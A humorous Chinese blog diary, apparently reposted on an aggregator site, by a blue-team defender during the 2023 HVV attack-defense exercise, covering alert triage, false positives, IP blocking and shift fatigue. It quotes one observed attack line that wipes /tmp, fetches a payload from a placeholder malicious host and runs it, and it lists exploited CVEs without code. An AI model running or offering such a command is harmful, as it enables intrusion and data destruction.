【杂谈分享】关于我去HVV当猴子这件事——HVV日记

news2024/9/23 7:29:44

目录

前言

序幕

开局

入世 

破妄

终章

前言

 今年第一次参加HVV行动。去当蓝队专家(cai niao)。大概是六月末,领导说今年的HVV派我去参加。毕竟是第一次参加,因此虽然可能就没办法放假了,而且也没有额外工资,但能涨涨实战经验,体会一下攻防演练是干啥,遂欣然接受。据参加过HVV的朋友所说,HVV看起来高大上,实际上当蓝队就是当点鼠标的猴子,当时我没感觉,结束之后感觉他的形容过于真实。之前还听同事说HVV每年都有很多梗很多瓜,估计会很有意思。

 大概在HVV开始的前一周,我被要求先去工作地点看一下设备,结果由于我们那家厂商的设备还没上,基本上啥也每看到。带队组长还和我说,要装的厉害一点,不能让甲方觉得咱不行。当时感觉还挺慌,不过去了那边之后发现隔壁知名安全厂商的兄弟好像也懵的很,而且感觉比较年轻,遂放松下来。 

 说起来今年也奇怪,HVV一致拖着,原来说五月,后来又说七月,然后又说推迟,正当我以为起码要等大运会结束一周左右才开始的时候,突然在8.7通知说要求我8.8到北京,8.9正式开始攻防演练。在去之前我可谓是一问三不知,要看啥设备(哪家厂商?有哪些功能?流量/日志?),有哪些资产(简要拓扑?内网分配情况?),每天日程啥安排(什么时候换班?甲方还有哪些要求?)。再加上带队组长一时半会还赶不到北京,我得先去顶第一班,感觉压力不小,管他呢,只能硬着头皮上了。感觉今年时间安排真是主打一个措手不及。

 手忙脚乱中,速速买了从老家到北京的高铁票。没歇两天,放假计划算是彻底泡汤,我现在只希望能顺利一些,别再出什么幺蛾子。大概在8.8号,整个微步社区和许多安全圈的推送都开始有各种梗了。我只想说,非常真实。下面这个是看到的贴子,纯属娱乐,大家切勿当真

序幕

 8月9日早上七点,我就已经到达了工作现场。客户还没来,最后一个人在门口等了半个多小时。大概七点四十,我来到了自己值守的设备前。现场还是比较炫酷的,不过由于不能拍照,我给大家大概形容一下,最前面有一个号称态势感知的大屏幕,蓝色的背景,各种图表贼拉炫酷(实际上那个屏幕对我们来说也没怎么用到),围绕着态势感知大屏幕有两圈桌椅,桌子上放着好多显示器,整个现场好似一个微缩迷你版的火箭发射基地。至于我的工位,在最里面的摸鱼位置,一个转椅的面前有两块显示屏。旁边是甲方的安全部门人员,除了我的单位之外,现场还有两家知名安全厂商,一起参加这次HVV的值守。

 跟甲方客户简单沟通了几句之后,我便开始研究起自己要值守的安全设备上。我负责值守的是某知名安全企业的全流量分析设备。初看上去非常高级,有各种功能,可以根据流量特征进行告警、查看具体的流量请求与响应,其中的告警信息还可以根据五元组信息和时间、威胁类型等角度进行聚合,还有在线沙箱,以及对webshell的分析。感觉应该是很高级(后面发现误报超级多,然后才发现这个设备的垃圾之处,下文会讲)。

 HVV正式开始就是8月9日早上,我感觉略有慌乱,不过还是挺期待的。不过8日晚上就已经有很多测试的攻击了,我看了一下,好家伙,一个小时十几万条告警,告警信息把内存都干爆了一次,且不说这些告警真实与否,如果正式开始之后还是这么搞,那告警信息就如同洪水一般,任何一条告警迅速就会被淹没,根本没办法细看排查。此时的我外表镇定,内心略慌,不过还是装出淡定的样子查看了一下信息,好在这个设备可以对威胁类型进行聚合,按照攻击的次数数量进行排序,就可以看到哪类告警是最多的。发现最多的告警是弱口令!好家伙,一小时90%以上的告警都是弱口令,简单排查发现这大多都是HTTP互联网账号的弱口令,估计是这个流量设备对于口令的要求比较高,把互联网账号的许多密码都判断为弱口令了。和客户甲方沟通之后,又排查了一些误报,把这些无关的告警都白名单加白了。再看了一下,现在一小时大概也就几千条告警,先就这样吧。

对部分告警加白之后,时间已到,HVV要正式开始了。

开局

 我们每个人拿到了一张打印的纸,上面印着内网ip的一些情况,主要涉及到一些分中心和协办单位的内网地址,也有个别外网的地址,告诉我们这些都是业务所在地,不要误封这些ip。我本以为HVV正式开始前会有个什么仪式之类的,估计还有领导讲话,结果并没有,HVV就在悄无声息中开始了。甲方领导就坐在我们周围,和我们一起值班轮岗。和隔壁的运维安全人员聊了几句,感觉甲方的人都还不错,挺平易近人的。

 HVV开始之后,甲方大致说了一下常见的安全设备的误报,正式进入工作。开局就是一大堆告警,我发现有关目录遍历和文件包含的告警非常多,点开查看详细信息,许多访问的请求中都有类似../../这样的字符(有进行编码),而但凡出现../这样的字符串,就会被流量分析设备判定为目录遍历/文件包含。问了一下运维,人家说这种基本上都是误报,因为业务开发的时候就把许多现需要访问的路径设成了相对路径,难免会出现访问上级目录的情况,于是在我误封了几个ip之后,就把这类告警加白了(真有攻击咋办?问题不大,如果通过../访问类似/etc/passwd这种文件,告警会提示敏感文件读取,不会因为加白文件包含就看不到告警)。

开局由于对业务不熟悉,对这个流量分析设备也是第一次见,本着宁可错杀绝不放过的原则,我又封了一大堆ip(毕竟误封顶多被客户说两句要求解封,被打穿的话估计就惨了),后来慢慢排查发现有好多误封,又慢慢解封了。说起来这个流量分析设备也挺无语的,我本以为他非常告警,用了什么AI技术判断攻击类型产生告警,后来发现,基本上就是字符串匹配!说白了就是有个规则库,规则库里面有各种匹配信息,可能有一些正则,但凡流量的特征判定匹配成功,就会告诉你攻击来了!比如HTML标签就都会告诉你,这是XSS,有SQL语句的关键字就会说,SQL注入攻击来了!第一天还发现了很多JNDI注入攻击的告警,后来发现是业务中存在上传PDF的功能,请求体中的证书中有ldap://这样的字符,被判定为jndi注入了。经过一系列的排查,大致确定了一些业务信息和误报,看到告警终于不慌,总算不至于手忙脚乱了。

  并没有什么零食!差旅也不包,甚至吃饭也是完全自费,在甲方单位食堂吃,一顿二三十(付费上班了属于是),不过人家确实提供了一些方便面自热米饭啥的,也可以简单吃点。

 我们理论上是每人值守8小时换班,结果由于我们单位此时带队组长临时没赶到,于是第一天只有我和另外一个同事在,估计要每人值守12小时,再加上第一天提前去配置环境,加白告警,我第一天基本上值守了14个小时,毕竟是第一天,我感觉自己状态还可以。晚上九点同事来换班,于是我回酒店了,倒头就睡。后来同事告诉我,半夜流量分析设备的内存又崩了,连夜联系厂商来修补。

入世 

 同事下班的时候显得很暴躁,毕竟熬了一宿,可能确实熬到凌晨就感觉度秒如年,只希望早点下班。我还和同事讨论,咱是12小时轮岗还是8小时轮岗,我建议12小时,因为可以少跑几趟、减少上下班通勤时间。同事却表示不以为然,建议我不要现在建议,等我先熬个夜班再讨论到底8小时还是12小时。我觉得他说得有道理,于是熬了一个夜班,感觉快ger了,确实12小时夜班太顶,还是8小时轮岗吧。

 后面一段时间基本上按部就班,rt的攻击基本上是一波又一波,闲着的时候是真的无聊,坐在屏幕前无所发呆,看看时间,距离下班还有四五个小时,真tm长呀。忙的时候更是头大,一分钟就几百条告警,ip都封不过来,平常谈笑风生的运维也紧盯屏幕,生怕有资产失陷,现场全是键盘和鼠标的敲击声。开始我还点开告警详细信息分析一波再判断是否是误报,后来实在是看不过来了,只能根据经验火速封禁ip。也尝试了批量导出告警封禁,但是难免会有误报,这是万不得已的做法。

 HVV期间也暴露了一大堆0day,每天都有好多威胁情报,第一天就爆出一个WPS的RCE,感觉还真是挺猛的,挖0day的真是大佬,每天看着这么多0day就怕被打穿。因此我们也会每天升级规则库,同时ban掉一些总部发来的恶意ip名单。不过开局的几天虽然也有很多漏洞利用的尝试,但还是主要以扫描(有nmap,zgrab,masscan等等)、webshell上传与扫描、敏感文件访问、SQL注入、命令注入等等,命令注入类似下面这样的形式,其中的空格用${IFS}这样的形式替代:

GET /bin/xxx/  cd /tmp; rm -rf *; wget http://恶意ip/恶意文件; chmod 777 恶意文件; ./恶意文件

 总之这几天状态还可以,每天都会被rt打,我还可以研究研究人家企图利用哪些漏洞,试试能不能复现,相对不太忙的时候就刷刷微步社区,看看有啥情报或者有啥吃瓜的新闻。最近HVV期间社区还搞了个金句评选活动,写的好的金句作者喜提可乐6罐。可乐不重要,关键是快乐哈哈。找了天才写的金句给大家鉴赏一下吧。

 还有一些吃瓜的新闻,不过吃瓜也要谨慎,小心被rt钓鱼:

 有兄弟打开pdf文件直接弹计算器的,懂得都懂,还是谨慎为上。

破妄

 中间几天感觉已经没有HVV的新鲜劲了,连上一周班之后人已经有点懵,虽然告警不算太多,一天也就几千条,大部分还都是误报,基本上可以合理摸鱼。但rt还在时不时搞事情,偶尔还会来波大的,除了当猴子的工作之外,我还拿了纸笔记录了这两天发生的事情以及rt常常利用的漏洞,比如(只根据告警记录了部分,可能有些问题):

漏洞名称CVE编号
Shellshock相关漏洞
struct2相关各种RCE

S2-045

S2-033

S2-016

S2-046

Weblogic相关rce

权限绕过、SSRF

CVE-2014-4210(ssrf)

CVE-2016-0638

CVE-2017-3506

CVE-2017-10271

CVE-2018-2628

CVE-2018-3245

CVE-2019-2725

CVE-2019-2729

CVE-2020-14882

CVE-2020-14883

Apache shiro相关RCEshiro-550
log4j2相关漏洞
BIG-IP/BIG-IQ RCECVE-2021-22986

ThinkPHP 2.x任意代码执行、

ThinkPHP RCE

Spring RCECVE-2022-22965
Jenkins RCECVE-2019-1003005

 当然rt实际漏洞利用比这里列出的多得多,此处仅仅列举了攻击次数比较多的几个,有空回头复现写写博客,读者如有兴趣可以去vulhub看看相关漏洞。近期还看了个吃瓜新闻,说是某一家单位突然彻底断网了,安全设备都没办法上线,以为是遭受了什么攻击,把许多领导都招来了,最后发现是某个初级把192.168的ip给封了,可能这就是卧底吧。听到这个新闻时我还不以为然,结果第二天就听见隔壁厂商的老哥被骂了,说他上一班轮岗的兄弟竟然尝试封禁内网ip,要求赶紧排查有啥误封。我还奇怪这种低级错误也会犯嘛?后来发现,由于那天凌晨有一波大的攻击,批量封禁ip时来不及排查,于是出现了这种低级错误的表现,还好运维那边有白名单,哪怕我们请求封禁,也不会导致白名单上的ip被封。甲方牛逼!

 近期工作是8小时换班,我下午上班,半夜下班。因此差不多有一个上午是空闲时间,同事白天倒头就睡,我也不好意思打扰他,于是我干脆上午到周围的公园散散步,偷得浮生半日闲。正当我怀有闲情逸致欣赏荷塘日色的之时,值班组长给我打来电话,说他有点急事,需要我再替他顶一班,我虽然客客气气的答应,却也立马再无心情欣赏美景,看来下一个即将到来的24小时中,我要上16小时班了。当日半夜下班后没回酒店,毕竟几个小时后又要上班,直接在客户单位提供的行军床上住了一晚,具体环境我就不给大家看了。由于房间没有窗帘且靠东侧,早上五点我就被炫目刺眼的太阳光晃醒了,六点中保洁上班门口一直在恐龙抗狼,整的我虽然很困,但也睡不着了。干脆再早点去上班。

终章

 熬到最后几天,虽然告警越来越少,但人的精神状态越来越差,毕竟连续付费上班快半个月了,稍微有点顶不住。如果用个梗图,那就像下面这样:

 全流量设备的告警也出现了几个攻击成功的告警,把我吓坏了,还好最后排查发现是业务的误报,还有内部人员进行poc复现测试的情况,没有实际rt成功的。这里又想到另外一个梗图:

 我想说这个图很真实,完全有可能就因为一个弱口令满盘皆输,一定不要掉以轻心。8.23最后一天除了爆了个瓜外,微步社区还搞了个倒计时,感觉还挺炫酷的,大家都很想下班了。

 最后再来个煽情:

 终于结束了,还好没被打穿!HVV结束了,按道理来讲我应该总结总结。但我现在只想放假。祝读者们天天开心! 如果问我这次HVV当bt有什么经验和收获,我想说,懂得了身心健康最重要

本文纯属个人瞎聊,梗图源于网络,读者切勿当真,图一乐就好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/931388.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python基础教程:re模块用法详解

前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 一、正则表达式的特殊字符介绍 正则表达式 👇 👇 👇 更多精彩机密、教程,尽在下方,赶紧点击了解吧~ 素材、视频教程、完整代码、插件安装教程我都准备好了&a…

【Linux】进程状态|僵尸进程|孤儿进程

前言 本文继续深入讲解进程内容——进程状态。 一个进程包含有多种状态,有运行状态,阻塞状态,挂起状态,僵尸状态,死亡状态等等,其中,阻塞状态还包含深度睡眠和浅度睡眠状态。 个人主页&#xff…

SQL Server软件安装包分享

目录 一、软件简介 二、软件下载 一、软件简介 SQL Server是一种关系型数据库管理系统,由美国微软公司开发。它被设计用于存储、管理和查询数据,被广泛应用于企业级应用、数据仓库和电子商务等场景。 以下是SQL Server软件的主要特点和功能&#xff1…

STM32 BOOT 启动配置 ISP升级 介绍

启动配置 在STM32F10xxx里,可以通过BOOT[1:0]引脚选择三种不同启动模式。 启动模式选择引脚启动模式说明BOOT1BOOT0X0主闪存存储器主闪存存储器被选为启动区域01系统存储器系统存储器被选为启动区域11内置SRAM内置SRAM被选为启动区域 在系统复位后, S…

java八股文面试[多线程]——有几种创建线程的方式

this逃逸问题:构造器中启动线程。 面试题: 用Thread和Runable创建线程的差别 一、Runnable和Thread的区别 继承性:Thread是一个类,因此如果继承Thread类,子类就不能再继承其他的类了,而实现Runnable接口…

JavaFX 加载 fxml 文件

JavaFX 加载 fxml 文件主要有两种方式,第一种方式通过 FXMLLoader 类直接加载 fxml 文件,简单直接,但是有些控件目前还不知道该如何获取,所以只能显示,目前无法处理。第二种方式较为复杂,但是可以使用与 fx…

mysql 逻辑架构

连接层 客户端和服务器建立连接,客户端发送sql 到 服务器端 服务层 引擎层 查看现有的 存储引擎 show engines; 存储层

电子器件系列56:ltc1799(定时器)

定时IC芯片是一种具有定时功能的集成电路,常用于计时、时钟、频率合成等应用。以下是一些常见的定时IC芯片: 1. 555定时器芯片:最常见的定时IC芯片之一,可用于产生各种定时信号和脉冲。 2. 556双555定时器芯片:由两个5…

OLED透明屏曲面技术:创新突破引领显示行业未来

OLED透明屏曲面技术作为一项重要的显示技术创新,正在成为显示行业的焦点,其引人注目的优势和广泛应用领域使其备受关注。 本文将详细介绍OLED透明屏曲面技术的优势、应用领域以及市场前景,同时展望其未来的发展趋势,以期带给读者…

数据工厂调研及结果展示

数据工厂 一、背景 在开发自测、测试迭代测试、产品验收的过程中,都需要各种各样的前置数据,大致分为如下几类: 账号(实名、权益等级、注册等) 货源(优货、急走、相似、一手、普通货源等) …

Linux下Qt配置opencv环境(ippicv,ffmpeg手动配置)

1.opencv配置使用问题 opencv在cmake的时候有两个问题,ippicv长时间卡住下载失败,ffmpeg不会卡住但是也不会配置成功。所以这两个包只能手动下载安装。 ippicv是什么 OpenCV设计用于高效的计算,十分强调实时应用的开发。它由C语言编写并进行了…

腾讯云服务器地域有什么区别?怎么选择合适?

腾讯云服务器地域有什么区别?怎么选择比较好?地域选择就近原则,距离地域越近网络延迟越低,速度越快。关于地域的选择还有很多因素,地域节点选择还要考虑到网络延迟速度方面、内网连接、是否需要备案、不同地域价格因素…

聚观早报 | 青瓷游戏上半年营收3.34亿元;如祺出行冲击IPO

【聚观365】8月26日消息 青瓷游戏上半年营收3.34亿元 如祺出行冲击IPO 索尼互动娱乐将收购Audeze 昆仑万维上半年净利润3.6亿元 T-Mobile计划在未来五周内裁员5000人 青瓷游戏上半年营收3.34亿元 青瓷游戏发布截至2023年6月30日止的中期业绩,财报显示&#xf…

聚类分析 | MATLAB实现基于DBSCAD密度聚类算法可视化

聚类分析 | MATLAB实现基于LP拉普拉斯映射的聚类可视化 目录 聚类分析 | MATLAB实现基于LP拉普拉斯映射的聚类可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 基于DBSCAD密度聚类算法可视化,MATLAB程序。 使用带有KD树加速的dbscan_with_kdtree函数进行…

AI绘画 | Discord的最强7款AI插件整理汇总

hi,同学们,我是赤辰,本周起,我们将开启AI工具教程篇的栏目,每天会更新1篇AI教程或推荐实用AI工具,文章底部准备了粉丝福利,看完可以领取! 今天给大家整理了Discord的最强7款AI插件汇…

ai课堂行为分析检测评估

ai课堂行为分析检测评估系统通过yolo网络模型算法,ai课堂行为分析检测评估算法利用摄像头采集学生的图像,视线跟踪技术的智能教学系统由情感模型、教师模型、学生模型和课程模型四个模型组成。用户端的视线及表情信息通过摄像头采集并传递到情感模型情感…

日常踩坑记录

本篇文章主要介绍一下最近的开发中用到的些小问题。问题不大,但有些小细节,记录一下,有遇到的朋友可以看一下,有更好的解决方法欢迎分享。 浏览器记住密码自动填充表单 这个问题我在火狐浏览器遇到了。我登录系统时选择了浏览器…

【MySQL系列】统计函数(count,sum,avg)详解

💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …

SpringBoot源码剖析

SpringBoot概念 什么是SpringBoot spring官方的网站:https://spring.io/ 翻译:通过Spring Boot,可以轻松地创建独立的,基于生产级别的基于Spring的应用程序,并且可以“运行”它们 其实Spring Boot 的设计是为了让你…

js中?.、??、??=的用法及使用场景

上面这个错误,相信前端开发工程师应该经常遇到吧,要么是自己考虑不全造成的,要么是后端开发人员丢失数据或者传输错误数据类型造成的。因此对数据访问时的非空判断就变成了一件很繁琐且重要的事情,下面就介绍ES6一些新的语法来方便…